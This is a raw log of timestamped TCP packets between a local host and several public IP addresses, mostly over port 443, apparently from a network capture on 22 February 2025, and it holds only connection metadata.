Feb 22, 2025 00:54:40.251897097 CET	443	49729	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:40.251964092 CET	49729	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:40.255425930 CET	49729	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:40.255451918 CET	443	49729	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:40.408947945 CET	443	49728	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:40.409008026 CET	443	49728	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:40.409044981 CET	443	49728	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:40.409046888 CET	49728	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:40.409061909 CET	443	49728	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:40.409101963 CET	49728	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:40.409107924 CET	443	49728	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:40.409147978 CET	443	49728	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:40.409192085 CET	49728	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:40.410029888 CET	49728	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:40.410044909 CET	443	49728	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:46.070483923 CET	443	49714	142.250.181.228	192.168.2.8
Feb 22, 2025 00:54:46.070553064 CET	443	49714	142.250.181.228	192.168.2.8
Feb 22, 2025 00:54:46.070619106 CET	49714	443	192.168.2.8	142.250.181.228
Feb 22, 2025 00:54:47.489871979 CET	49714	443	192.168.2.8	142.250.181.228
Feb 22, 2025 00:54:47.489883900 CET	443	49714	142.250.181.228	192.168.2.8
Feb 22, 2025 00:54:52.065948963 CET	49732	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:52.066046000 CET	443	49732	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:52.066143036 CET	49732	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:52.066169977 CET	49733	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:52.066209078 CET	443	49733	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:52.066319942 CET	49733	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:52.066565990 CET	49732	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:52.066603899 CET	443	49732	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:52.066860914 CET	49733	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:52.066879034 CET	443	49733	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:52.531522036 CET	443	49732	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:52.534615040 CET	49732	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:52.534657001 CET	443	49732	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:52.536254883 CET	443	49732	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:52.536333084 CET	49732	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:52.536752939 CET	49732	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:52.536789894 CET	49732	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:52.536808014 CET	49732	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:52.536854982 CET	443	49732	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:52.537101984 CET	443	49732	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:52.537120104 CET	49734	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:52.537189960 CET	443	49734	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:52.537224054 CET	49732	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:52.537225008 CET	49732	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:52.537264109 CET	49734	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:52.537440062 CET	49734	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:52.537467957 CET	443	49734	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:52.551342964 CET	443	49733	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:52.554564953 CET	49733	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:52.554589033 CET	443	49733	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:52.556035995 CET	443	49733	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:52.556102991 CET	49733	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:52.556417942 CET	49733	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:52.556430101 CET	49733	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:52.556478977 CET	49733	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:52.556495905 CET	443	49733	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:52.556545973 CET	49733	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:52.556797028 CET	49735	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:52.556823015 CET	443	49735	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:52.556880951 CET	49735	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:52.557063103 CET	49735	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:52.557075024 CET	443	49735	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:53.000931025 CET	443	49734	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:53.001239061 CET	49734	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:53.001280069 CET	443	49734	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:53.002294064 CET	443	49734	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:53.002374887 CET	49734	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:53.002706051 CET	49734	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:53.002772093 CET	443	49734	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:53.002840996 CET	49734	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:53.002856970 CET	443	49734	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:53.032835007 CET	443	49735	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:53.033103943 CET	49735	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:53.033128023 CET	443	49735	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:53.036678076 CET	443	49735	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:53.036799908 CET	49735	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:53.037113905 CET	49735	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:53.037283897 CET	443	49735	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:53.044430017 CET	49734	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:53.091336966 CET	49735	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:53.091348886 CET	443	49735	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:53.137559891 CET	49735	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:53.149883032 CET	443	49734	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:53.149935961 CET	443	49734	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:53.149998903 CET	49734	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:53.150574923 CET	49734	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:53.150614023 CET	443	49734	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:53.153040886 CET	49735	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:53.195338011 CET	443	49735	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:53.428030014 CET	443	49735	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:53.428229094 CET	443	49735	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:53.428301096 CET	49735	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:53.428320885 CET	443	49735	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:53.428483009 CET	443	49735	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:53.428543091 CET	49735	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:53.428553104 CET	443	49735	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:53.428843021 CET	443	49735	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:53.428980112 CET	49735	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:53.428988934 CET	443	49735	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:53.429136992 CET	443	49735	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:53.429255962 CET	49735	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:53.429263115 CET	443	49735	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:53.429595947 CET	443	49735	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:53.429666996 CET	49735	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:53.429927111 CET	49735	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:53.429939985 CET	443	49735	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:53.457483053 CET	49736	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:53.457504034 CET	443	49736	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:53.457685947 CET	49736	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:53.457942963 CET	49736	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:53.457957029 CET	443	49736	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:53.466453075 CET	49737	443	192.168.2.8	157.240.0.6
Feb 22, 2025 00:54:53.466500998 CET	443	49737	157.240.0.6	192.168.2.8
Feb 22, 2025 00:54:53.466567993 CET	49737	443	192.168.2.8	157.240.0.6
Feb 22, 2025 00:54:53.466670990 CET	49738	443	192.168.2.8	157.240.0.6
Feb 22, 2025 00:54:53.466715097 CET	443	49738	157.240.0.6	192.168.2.8
Feb 22, 2025 00:54:53.466813087 CET	49738	443	192.168.2.8	157.240.0.6
Feb 22, 2025 00:54:53.466840982 CET	49737	443	192.168.2.8	157.240.0.6
Feb 22, 2025 00:54:53.466859102 CET	443	49737	157.240.0.6	192.168.2.8
Feb 22, 2025 00:54:53.467114925 CET	49738	443	192.168.2.8	157.240.0.6
Feb 22, 2025 00:54:53.467130899 CET	443	49738	157.240.0.6	192.168.2.8
Feb 22, 2025 00:54:53.929301023 CET	443	49736	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:53.929615021 CET	49736	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:53.929634094 CET	443	49736	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:53.930630922 CET	443	49736	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:53.930684090 CET	49736	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:53.931119919 CET	49736	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:53.931142092 CET	49736	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:53.931180954 CET	49736	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:53.931193113 CET	443	49736	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:53.931241989 CET	49736	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:53.931521893 CET	49739	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:53.931570053 CET	443	49739	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:53.931631088 CET	49739	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:53.931835890 CET	49739	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:53.931854963 CET	443	49739	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:54.113125086 CET	443	49738	157.240.0.6	192.168.2.8
Feb 22, 2025 00:54:54.113430023 CET	49738	443	192.168.2.8	157.240.0.6
Feb 22, 2025 00:54:54.113440990 CET	443	49738	157.240.0.6	192.168.2.8
Feb 22, 2025 00:54:54.114573956 CET	443	49738	157.240.0.6	192.168.2.8
Feb 22, 2025 00:54:54.114645004 CET	49738	443	192.168.2.8	157.240.0.6
Feb 22, 2025 00:54:54.115740061 CET	49738	443	192.168.2.8	157.240.0.6
Feb 22, 2025 00:54:54.115814924 CET	443	49738	157.240.0.6	192.168.2.8
Feb 22, 2025 00:54:54.115957022 CET	49738	443	192.168.2.8	157.240.0.6
Feb 22, 2025 00:54:54.115962982 CET	443	49738	157.240.0.6	192.168.2.8
Feb 22, 2025 00:54:54.134319067 CET	443	49737	157.240.0.6	192.168.2.8
Feb 22, 2025 00:54:54.134582043 CET	49737	443	192.168.2.8	157.240.0.6
Feb 22, 2025 00:54:54.134608984 CET	443	49737	157.240.0.6	192.168.2.8
Feb 22, 2025 00:54:54.138231039 CET	443	49737	157.240.0.6	192.168.2.8
Feb 22, 2025 00:54:54.138315916 CET	49737	443	192.168.2.8	157.240.0.6
Feb 22, 2025 00:54:54.138658047 CET	49737	443	192.168.2.8	157.240.0.6
Feb 22, 2025 00:54:54.138781071 CET	49737	443	192.168.2.8	157.240.0.6
Feb 22, 2025 00:54:54.138911009 CET	443	49737	157.240.0.6	192.168.2.8
Feb 22, 2025 00:54:54.158435106 CET	49738	443	192.168.2.8	157.240.0.6
Feb 22, 2025 00:54:54.188441038 CET	49737	443	192.168.2.8	157.240.0.6
Feb 22, 2025 00:54:54.188448906 CET	443	49737	157.240.0.6	192.168.2.8
Feb 22, 2025 00:54:54.236169100 CET	49737	443	192.168.2.8	157.240.0.6
Feb 22, 2025 00:54:54.398344994 CET	443	49739	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:54.398808002 CET	49739	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:54.398876905 CET	443	49739	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:54.399224043 CET	443	49739	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:54.399622917 CET	49739	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:54.399702072 CET	443	49739	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:54.399759054 CET	49739	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:54.443356991 CET	443	49739	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:54.454516888 CET	49739	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:54.533449888 CET	443	49739	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:54.533487082 CET	443	49739	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:54.533525944 CET	443	49739	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:54.533540964 CET	49739	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:54.533557892 CET	443	49739	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:54.533566952 CET	443	49739	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:54.533598900 CET	49739	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:54.533617973 CET	443	49739	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:54.533654928 CET	49739	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:54.534033060 CET	443	49739	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:54.534084082 CET	443	49739	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:54.534122944 CET	49739	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:54.535415888 CET	49739	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:54.535440922 CET	443	49739	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:54.535459995 CET	49739	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:54.535496950 CET	49739	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:54.538306952 CET	49740	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:54.538352013 CET	443	49740	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:54.538438082 CET	49740	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:54.538727045 CET	49740	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:54.538746119 CET	443	49740	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:54.997890949 CET	443	49740	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:54.998243093 CET	49740	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:54.998265028 CET	443	49740	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:54.999309063 CET	443	49737	157.240.0.6	192.168.2.8
Feb 22, 2025 00:54:54.999491930 CET	443	49737	157.240.0.6	192.168.2.8
Feb 22, 2025 00:54:54.999502897 CET	443	49737	157.240.0.6	192.168.2.8
Feb 22, 2025 00:54:54.999555111 CET	49737	443	192.168.2.8	157.240.0.6
Feb 22, 2025 00:54:54.999582052 CET	443	49737	157.240.0.6	192.168.2.8
Feb 22, 2025 00:54:54.999603987 CET	443	49737	157.240.0.6	192.168.2.8
Feb 22, 2025 00:54:54.999603987 CET	49737	443	192.168.2.8	157.240.0.6
Feb 22, 2025 00:54:54.999648094 CET	49737	443	192.168.2.8	157.240.0.6
Feb 22, 2025 00:54:55.000191927 CET	443	49740	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:55.000261068 CET	49740	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:55.000507116 CET	49737	443	192.168.2.8	157.240.0.6
Feb 22, 2025 00:54:55.000519991 CET	443	49737	157.240.0.6	192.168.2.8
Feb 22, 2025 00:54:55.001761913 CET	49740	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:55.001785994 CET	49740	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:55.001827955 CET	49740	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:55.001846075 CET	443	49740	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:55.001898050 CET	49740	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:55.002161026 CET	49741	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:55.002208948 CET	443	49741	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:55.002264977 CET	49741	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:55.002537012 CET	49741	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:55.002556086 CET	443	49741	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:55.122282028 CET	443	49738	157.240.0.6	192.168.2.8
Feb 22, 2025 00:54:55.122421026 CET	443	49738	157.240.0.6	192.168.2.8
Feb 22, 2025 00:54:55.122486115 CET	49738	443	192.168.2.8	157.240.0.6
Feb 22, 2025 00:54:55.122498989 CET	443	49738	157.240.0.6	192.168.2.8
Feb 22, 2025 00:54:55.122509003 CET	443	49738	157.240.0.6	192.168.2.8
Feb 22, 2025 00:54:55.122545004 CET	49738	443	192.168.2.8	157.240.0.6
Feb 22, 2025 00:54:55.377088070 CET	49738	443	192.168.2.8	157.240.0.6
Feb 22, 2025 00:54:55.377120018 CET	443	49738	157.240.0.6	192.168.2.8
Feb 22, 2025 00:54:55.442346096 CET	49743	443	192.168.2.8	157.240.0.6
Feb 22, 2025 00:54:55.442389011 CET	443	49743	157.240.0.6	192.168.2.8
Feb 22, 2025 00:54:55.442486048 CET	49743	443	192.168.2.8	157.240.0.6
Feb 22, 2025 00:54:55.442842960 CET	49744	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:55.442882061 CET	443	49744	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:55.442936897 CET	49744	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:55.443155050 CET	49743	443	192.168.2.8	157.240.0.6
Feb 22, 2025 00:54:55.443164110 CET	443	49743	157.240.0.6	192.168.2.8
Feb 22, 2025 00:54:55.443532944 CET	49744	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:55.443547964 CET	443	49744	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:55.470943928 CET	443	49741	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:55.471182108 CET	49741	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:55.471194983 CET	443	49741	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:55.471790075 CET	443	49741	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:55.472146034 CET	49741	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:55.472222090 CET	443	49741	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:55.472284079 CET	49741	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:55.519336939 CET	443	49741	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:55.627618074 CET	443	49741	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:55.627686977 CET	443	49741	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:55.627728939 CET	443	49741	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:55.627732992 CET	49741	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:55.627763033 CET	443	49741	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:55.627804041 CET	49741	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:55.627809048 CET	443	49741	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:55.627825975 CET	443	49741	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:55.627870083 CET	49741	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:55.627882004 CET	443	49741	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:55.627904892 CET	443	49741	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:55.627947092 CET	49741	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:55.629077911 CET	49741	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:55.629091024 CET	443	49741	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:55.905988932 CET	443	49744	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:55.906279087 CET	49744	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:55.906337976 CET	443	49744	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:55.907762051 CET	443	49744	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:55.907844067 CET	49744	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:55.908199072 CET	49744	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:55.908199072 CET	49744	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:55.908282042 CET	49744	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:55.908317089 CET	443	49744	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:55.908374071 CET	49744	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:55.908579111 CET	49745	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:55.908618927 CET	443	49745	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:55.908690929 CET	49745	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:55.908886909 CET	49745	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:55.908898115 CET	443	49745	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:56.076630116 CET	443	49743	157.240.0.6	192.168.2.8
Feb 22, 2025 00:54:56.077219009 CET	49743	443	192.168.2.8	157.240.0.6
Feb 22, 2025 00:54:56.077238083 CET	443	49743	157.240.0.6	192.168.2.8
Feb 22, 2025 00:54:56.078306913 CET	443	49743	157.240.0.6	192.168.2.8
Feb 22, 2025 00:54:56.078401089 CET	49743	443	192.168.2.8	157.240.0.6
Feb 22, 2025 00:54:56.078687906 CET	49743	443	192.168.2.8	157.240.0.6
Feb 22, 2025 00:54:56.078739882 CET	443	49743	157.240.0.6	192.168.2.8
Feb 22, 2025 00:54:56.078975916 CET	49743	443	192.168.2.8	157.240.0.6
Feb 22, 2025 00:54:56.078984022 CET	443	49743	157.240.0.6	192.168.2.8
Feb 22, 2025 00:54:56.120754004 CET	49743	443	192.168.2.8	157.240.0.6
Feb 22, 2025 00:54:56.370688915 CET	443	49743	157.240.0.6	192.168.2.8
Feb 22, 2025 00:54:56.370789051 CET	443	49743	157.240.0.6	192.168.2.8
Feb 22, 2025 00:54:56.370867014 CET	443	49743	157.240.0.6	192.168.2.8
Feb 22, 2025 00:54:56.370901108 CET	49743	443	192.168.2.8	157.240.0.6
Feb 22, 2025 00:54:56.370924950 CET	443	49743	157.240.0.6	192.168.2.8
Feb 22, 2025 00:54:56.370933056 CET	49743	443	192.168.2.8	157.240.0.6
Feb 22, 2025 00:54:56.370985031 CET	443	49743	157.240.0.6	192.168.2.8
Feb 22, 2025 00:54:56.371037006 CET	49743	443	192.168.2.8	157.240.0.6
Feb 22, 2025 00:54:56.372374058 CET	49743	443	192.168.2.8	157.240.0.6
Feb 22, 2025 00:54:56.372387886 CET	443	49743	157.240.0.6	192.168.2.8
Feb 22, 2025 00:54:56.386583090 CET	443	49745	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:56.386888027 CET	49745	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:56.386905909 CET	443	49745	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:56.387854099 CET	443	49745	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:56.387918949 CET	49745	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:56.388247967 CET	49745	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:56.388317108 CET	443	49745	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:56.388390064 CET	49745	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:56.388400078 CET	443	49745	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:56.433352947 CET	49745	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:56.674853086 CET	443	49745	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:56.674901009 CET	443	49745	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:56.674952030 CET	49745	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:56.674977064 CET	443	49745	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:56.674999952 CET	443	49745	188.114.97.3	192.168.2.8
Feb 22, 2025 00:54:56.675033092 CET	49745	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:56.675055981 CET	49745	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:56.676378012 CET	49745	443	192.168.2.8	188.114.97.3
Feb 22, 2025 00:54:56.676389933 CET	443	49745	188.114.97.3	192.168.2.8
Feb 22, 2025 00:55:16.199270964 CET	49703	80	192.168.2.8	199.232.214.172
Feb 22, 2025 00:55:16.206285954 CET	80	49703	199.232.214.172	192.168.2.8
Feb 22, 2025 00:55:16.206387043 CET	49703	80	192.168.2.8	199.232.214.172
Feb 22, 2025 00:55:35.576302052 CET	49748	443	192.168.2.8	142.250.181.228
Feb 22, 2025 00:55:35.576339960 CET	443	49748	142.250.181.228	192.168.2.8
Feb 22, 2025 00:55:35.576433897 CET	49748	443	192.168.2.8	142.250.181.228
Feb 22, 2025 00:55:35.576682091 CET	49748	443	192.168.2.8	142.250.181.228
Feb 22, 2025 00:55:35.576695919 CET	443	49748	142.250.181.228	192.168.2.8
Feb 22, 2025 00:55:36.224981070 CET	443	49748	142.250.181.228	192.168.2.8
Feb 22, 2025 00:55:36.225378990 CET	49748	443	192.168.2.8	142.250.181.228
Feb 22, 2025 00:55:36.225419044 CET	443	49748	142.250.181.228	192.168.2.8
Feb 22, 2025 00:55:36.225794077 CET	443	49748	142.250.181.228	192.168.2.8
Feb 22, 2025 00:55:36.226213932 CET	49748	443	192.168.2.8	142.250.181.228
Feb 22, 2025 00:55:36.226290941 CET	443	49748	142.250.181.228	192.168.2.8
Feb 22, 2025 00:55:36.273091078 CET	49748	443	192.168.2.8	142.250.181.228
Feb 22, 2025 00:55:37.719245911 CET	49749	443	192.168.2.8	35.190.80.1
Feb 22, 2025 00:55:37.719340086 CET	443	49749	35.190.80.1	192.168.2.8
Feb 22, 2025 00:55:37.720431089 CET	49749	443	192.168.2.8	35.190.80.1
Feb 22, 2025 00:55:37.720639944 CET	49749	443	192.168.2.8	35.190.80.1
Feb 22, 2025 00:55:37.720660925 CET	443	49749	35.190.80.1	192.168.2.8
Feb 22, 2025 00:55:38.178096056 CET	443	49749	35.190.80.1	192.168.2.8
Feb 22, 2025 00:55:38.178525925 CET	49749	443	192.168.2.8	35.190.80.1
Feb 22, 2025 00:55:38.178544044 CET	443	49749	35.190.80.1	192.168.2.8
Feb 22, 2025 00:55:38.178864956 CET	443	49749	35.190.80.1	192.168.2.8
Feb 22, 2025 00:55:38.179274082 CET	49749	443	192.168.2.8	35.190.80.1
Feb 22, 2025 00:55:38.179337025 CET	443	49749	35.190.80.1	192.168.2.8
Feb 22, 2025 00:55:38.179452896 CET	49749	443	192.168.2.8	35.190.80.1
Feb 22, 2025 00:55:38.223362923 CET	443	49749	35.190.80.1	192.168.2.8
Feb 22, 2025 00:55:38.305620909 CET	443	49749	35.190.80.1	192.168.2.8
Feb 22, 2025 00:55:38.305746078 CET	443	49749	35.190.80.1	192.168.2.8
Feb 22, 2025 00:55:38.306087017 CET	49749	443	192.168.2.8	35.190.80.1
Feb 22, 2025 00:55:38.306104898 CET	443	49749	35.190.80.1	192.168.2.8
Feb 22, 2025 00:55:38.306118011 CET	49749	443	192.168.2.8	35.190.80.1
Feb 22, 2025 00:55:38.306155920 CET	49749	443	192.168.2.8	35.190.80.1
